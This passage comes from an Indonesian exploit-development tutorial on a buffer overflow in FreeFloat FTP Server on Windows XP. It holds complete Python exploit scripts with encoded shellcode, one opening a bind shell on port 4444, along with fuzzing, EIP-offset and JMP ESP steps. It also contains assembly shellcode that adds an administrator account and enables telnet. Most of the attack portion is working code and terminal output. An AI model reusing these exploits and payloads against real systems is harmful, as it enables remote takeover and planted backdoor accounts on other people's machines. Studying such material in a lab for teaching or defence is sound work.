"\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
"\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
"\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
"\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
)
print s.recv(1024)
s.send("USER "+commanduserftp+eip+nop+shellcode+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpassftp+"\r\n")
s.close()
```

Shellcode di atas untuk menjalankan kalkulator di komputer target.

14.9 Eksploitasi

Hasilnya setelah dijalankan program eksploitnya.

Di komputer target muncul kalkulator.

Penggantian shellcode bind shell dengan port 4444

```
#!/usr/bin/python


import socket
```

```
ipaddress = "192.168.1.31"
paket = 230
commanduserftp = "\x41" * (paket)
commandpassftp = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ipaddress),21))
eip = "\x40\x45\x3D\x77"
nop = "\x90" * 30
shellcode  = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
shellcode += "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58"
shellcode += "\x4e\x56\x46\x42\x46\x42\x4b\x58\x45\x54\x4e\x53\x4b\x48\x4e\x57"
shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x38"
shellcode += "\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x58"
shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
shellcode += "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
shellcode += "\x46\x4f\x4b\x53\x46\x35\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x48"
shellcode += "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x54"
shellcode += "\x4b\x48\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58"
shellcode += "\x49\x48\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x53\x4b\x4d"
shellcode += "\x46\x56\x4b\x38\x43\x54\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x38"
shellcode += "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x56"
shellcode += "\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36"
shellcode += "\x43\x45\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x57"
shellcode += "\x44\x33\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
shellcode += "\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e"
shellcode += "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x30"
shellcode += "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35"
shellcode += "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x45\x43\x35\x43\x34"
shellcode += "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x41"
shellcode += "\x4e\x45\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a"
shellcode += "\x4c\x31\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"
shellcode += "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
shellcode += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
shellcode += "\x4a\x36\x45\x4e\x49\x54\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
shellcode += "\x42\x55\x46\x35\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56"
```

```
shellcode += "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x45"
shellcode += "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x56\x48\x36\x4a\x46\x43\x46"
shellcode += "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x55\x49\x52\x4e\x4c"
shellcode += "\x49\x38\x47\x4e\x4c\x56\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c"
shellcode += "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x32"
shellcode += "\x43\x49\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
shellcode += "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x34\x4f\x4f"
shellcode += "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x45\x41\x35\x41\x55\x4c\x36"
shellcode += "\x41\x30\x41\x35\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
shellcode += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56"
shellcode += "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
shellcode += "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
shellcode += "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
shellcode += "\x4f\x4f\x42\x4d\x5a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
print s.recv(1024)
s.send("USER "+commanduserftp+eip+nop+shellcode+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpassftp+"\r\n")
s.close()
```

Menguji dengan NMAP untuk melihat munculnya port baru 4444. Di bawah ini tampilan scanning dengan NMAP pada komputer dengan ip address 192.168.1.31.

```
root@kalidata:~# nmap 192.168.1.31

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-17 17:12 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS
 Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.1.31
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5000/tcp open  upnp
MAC Address: 08:00:27:FF:4C:E6 (Cadmus Computer Systems)
```

Saat exploit dijalankan maka muncul port baru yaitu 4444. Melalui port tersebut seorang penyerang dapat masuk ke komputer target.

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
5000/tcp open  upnp
MAC Address: 08:00:27:FF:4C:E6 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
root@kalidata:~# nmap 192.168.1.31

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-17 17:13 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is di
 Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.1.31
Host is up (0.0012s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
4444/tcp open  krb524
5000/tcp open  upnp
MAC Address: 08:00:27:FF:4C:E6 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
root@kalidata:~#
```

Perintah untuk masuk, telnet 192.168.1.31 4444

```
Telnet 192.168.1.31
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

D:\dataa\freefloatftpserver-list bof\Win32>_
```

Exploit Development menggunakan Kali-linux

Jika menggunakan Kali-linux caranya sebagai berikut

Pilih Open

Pilih FTP Server seperti di atas

Klik symbol play seperti di atas

Di Kali linux ketik nano fuzzer.py untuk membuat file fuzzer.py

```
root@dhcppc4: /home/lab92
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6                File: fuzzer.py

import socket

buffer = "\x41" * 200
commandpass = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31", 21))
print s.recv(1024)
s.send("USER "+buffer+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpass+"\r\n")
print s.recv(1024)
s.close()
```

Buat program fuzzer seperti di atas untuk mengirimkan “x41” sebanyak 200 bytes ke command USER FTP

```
root@dhcppc4:/home/lab92# python fuzzer.py
220 FreeFloat Ftp Server (Version 1.00).

331 Password required for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.

230 User AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAanonymous logged in.

root@dhcppc4:/home/lab92#
```

Program dijalankan dengan perintah : python fuzzer.py

Hasilnya target tetap running

Jumlah buffer ditingkatkan menjadi 1000

```
root@dhcppc4:/home/lab92# nano fuzzer.py
root@dhcppc4:/home/lab92# python fuzzer.py
220 FreeFloat Ftp Server (Version 1.00).

331 Password required for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA.

root@dhcppc4:/home/lab92#
```

Jalankan kembali perintah fuzzer.py

Hasilnya program mengalami crash dan “\x41” menimpa EIP

```
root@dhcppc4:/home/lab92# locate pattern_create.rb
/usr/share/metasploit-framework/tools/pattern_create.rb
root@dhcppc4:/home/lab92# ruby /usr/share/metasploit-framework/tools/pattern_cre
ate.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
root@dhcppc4:/home/lab92#
```

Cari file pattern_create.rb dengan locate lalu jalankan pattern_create.rb seperti di atas

Copy hasil dari pattern_create.rb

```
root@dhcppc4: /home/lab92
File  Edit  View  Search  Terminal  Help
GNU nano 2.2.6              File: fuzzer.py                    Modified

import socket

#buffer = "\x41" * 1000
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2$
commandpass = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31", 21))
print s.recv(1024)
s.send("USER "+buffer+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpass+"\r\n")
print s.recv(1024)
s.close()
```

Paste seperti di atas dari hasil menjalankan pattern_create.rb

Klik Debug lalu restart

Pilih Yes

Klik Play

```
root@dhcppc4:/home/lab92# nano fuzzer.py
root@dhcppc4:/home/lab92# python fuzzer.py
220 FreeFloat Ftp Server (Version 1.00).

331 Password required for Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7
Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae
4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0A
h1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7
Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0A
p1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7
Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au
4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0A
x1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7
Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc
4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0B
f1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh
2B.

root@dhcppc4:/home/lab92#
```

Program fuzzer dijalankan

```
ESP 00AFFC2C ASCII "0Ai1Ai2Ai3Ai4Ai5Ai6A
EBP 00391288
ESI 0040A44E FTPServe.0040A44E
EDI 00391D21 ASCII "9Ay0Ay1Ay2Ay3Ay4Ay5Ay

EIP 37684136

C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDC000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)

EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)

ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1

00AFFC2C  31694130 0Ai1
00AFFC30  41326941 Ai2A
00AFFC34  69413369 i3Ai
00AFFC38  35694134 4Ai5
00AFFC3C  41366941 Ai6A
00AFFC40  69413769 i7Ai
00AFFC44  39694138 8Ai9
00AFFC48  41306A41 Aj0A
00AFFC4C  6A41316A j1Aj
00AFFC50  336A4132 2Aj3
00AFFC54  41346A41 Aj4A
00AFFC58  6A41356A j5Aj
00AFFC5C  376A4136 6Aj7
00AFFC60  41386A41 Aj8A
00AFFC64  6A413960 j9Ak

g [37684136] - use Shift+F7/F8/F9 to pa        Paused
```

Hasilnya pada EIP ditampilkan angka-angka

```
root@dhcppc4:/home/lab92# ruby /usr/share/metasploit-framework/tools/pattern_off
set.rb 37684136
[*] Exact match at offset 230
root@dhcppc4:/home/lab92# locate pattern_offset.rb
/usr/share/metasploit-framework/tools/pattern_offset.rb
root@dhcppc4:/home/lab92# ruby /usr/share/metasploit-framework/tools/pattern_off
set.rb 37684136
[*] Exact match at offset 230
root@dhcppc4:/home/lab92#
```

Masukkan angka-angka tersebut pada saat menjalankan pattern_offset.rb seperti di atas

```
Computer
root@dhcppc4: /home/lab92
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6              File: fuzzer.py                    Modified

import socket

buffer = "\x41" * 230
eip = "\xb3\xf4\xbe\xfa"
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac$
commandpass = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31", 21))
print s.recv(1024)
s.send("USER "+buffer+eip+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpass+"\r\n")
print s.recv(1024)
s.close()
```

Di sini menguji apakah jika mengirimkan “\xb3\xf4,xbe\xfa” akan mengenai EIP?

Hasilnya ternyata mengenai EIP

Untuk mengetahui keberadaan modules ada tidak yang terproteksi, ketika !mona modules /mod seperti di atas

Klik View lalu pilih Executable modules

Pilih USER32.dll

Pilih Search for lalu pilih Command

Ketik JMP ESP lalu enter

```
File  View  Debug  Plugins  ImmLib  Options  Window  Help  Job

77D7754A   FFE4            JMP ESP
77D7754C   0300            ADD EAX,DWORD PTR DS:[EAX]
77D7754E   0076 18         ADD BYTE PTR DS:[ESI+18],DH
77D77551   81FF E5030000   CMP EDI,3E5
77D77557 ^0F86 13FDFFFF    JBE USER32.77D77270
77D7755D   81FF E8030000   CMP EDI,3E8
77D77563 ^0F87 07FDFFFF    JA USER32.77D77270
77D77569   FF75 14         PUSH DWORD PTR SS:[EBP+14]
77D7756C   FF75 10         PUSH DWORD PTR SS:[EBP+10]
77D7756F   57              PUSH EDI
77D77570   50              PUSH EAX
77D77571   E8 9BFDFFFF     CALL USER32.77D77311
77D77576 ^E9 06FDFFFF      JMP USER32.77D77281
```

Hasilnya tampil seperti di atas

```
GNU nano 2.2.6                File: fuzzer.py

import socket

buffer = "\x41" * 230
eip = "\x4A\x75\xD7\x77"
nop = "\x90" * 24
shellcode = ""
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7A
commandpass = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31", 21))
print s.recv(1024)
s.send("USER "+buffer+eip+nop+shellcode+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpass+"\r\n")
print s.recv(1024)
s.close()
```

PoC nya tanpa shellcode seperti di atas

··· > Processes and Threads > Process and Thread Reference > Process and Thread Functions

···

WaitForThreadpoolTimerCallbacks

WaitForThreadpoolWaitCallbacks

WaitForThreadpoolWorkCallbacks

WinExec

WorkCallback

Wow64SuspendThread

WinExec function

Runs the specified application.

Note This function is provided only for compatibility with 16-bit Windows. Applications should use the **CreateProcess** function.

...

WaitForThreadpoolTimerCallbacks

WaitForThreadpoolWaitCallbacks

WaitForThreadpoolWorkCallbacks

WinExec

WorkCallback

Wow64SuspendThread

ZwQueryInformationProcess

Remarks

The **WinExec** function returns when the started process calls the **GetMessage** function or a time-out limit is reached. To avoid waiting for the time out delay, call the **GetMessage** function as soon as possible in any process started by a call to **WinExec**.

Security Remarks

The executable name is treated as the first white space-delimited string in *lpCmdLine*. If the executable or path name has a space in it, there is a risk that a different executable could be run because of the way the function parses spaces. The following example is dangerous because the function will attempt to run "Program.exe", if it exists, instead of "MyApp.exe".

```
WinExec("C:\\Program Files\\MyApp", ...)
```

If a malicious user were to create an application called "Program.exe" on a system, any program that incorrectly calls **WinExec** using the Program Files directory will run this application instead of the intended application.

To avoid this problem, use **CreateProcess** rather than **WinExec**. However, if you must use **WinExec** for legacy reasons, make sure the application name is enclosed in quotation marks as shown in the example below.

```
WinExec("\"C:\\Program Files\\MyApp.exe\" -L -S", ...)
```

```
D:\>dir arwin.exe
 Volume in drive D has no label.
 Volume Serial Number is 7C22-AC3F

 Directory of D:\

01/11/2012  12:47 AM            16,241 arwin.exe
               1 File(s)         16,241 bytes
               0 Dir(s)   1,551,704,064 bytes free

D:\>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x77e684c6 in kernel32.dll

D:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e75cb5 in kernel32.dll

D:\>
```

Di Windows XP yang ada file arwin.exe, ketikkan seperti di atas

```
root@dhcppc4:/home/lab92#
root@dhcppc4:/home/lab92# nano shellcode.asm
```

Buat shellcode dengan diawali ketik shellcode.asm

```
  GNU nano 2.2.6                File: shellcode.asm                    Modif

BITS 32
global _start
_start:

jmp short getcommand
commandreturn:
        pop ebx
        xor eax, eax
        push eax
        xor eax, eax
        push ebx
        mov ebx, 0x77e684c6
        call ebx

        xor eax, eax
        push eax
        mov ebx, 0x77e75cb5
        call ebx

getcommand:
call commandreturn
db "cmd.exe /C net user gadis 12345 /add & net localgroup administrators gadis /add & sc start tlntsvr &"
db "0x00"
```

Tampilan shellcode yang dibuat untuk menambah user, usernya dinaikkan menjadi administrator dan telnet windows diaktifkan

```
root@dhcppc4:/home/lab92# nasm -f elf shellcode.asm -o shellcode
root@dhcppc4:/home/lab92# objdump -d shellcode

shellcode:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   eb 18                   jmp    1a <getcommand>

00000002 <commandreturn>:
   2:   5b                      pop    %ebx
   3:   31 c0                   xor    %eax,%eax
   5:   50                      push   %eax
   6:   31 c0                   xor    %eax,%eax
   8:   53                      push   %ebx
   9:   bb c6 84 e6 77          mov    $0x77e684c6,%ebx
   e:   ff d3                   call   *%ebx
  10:   31 c0                   xor    %eax,%eax
  12:   50                      push   %eax
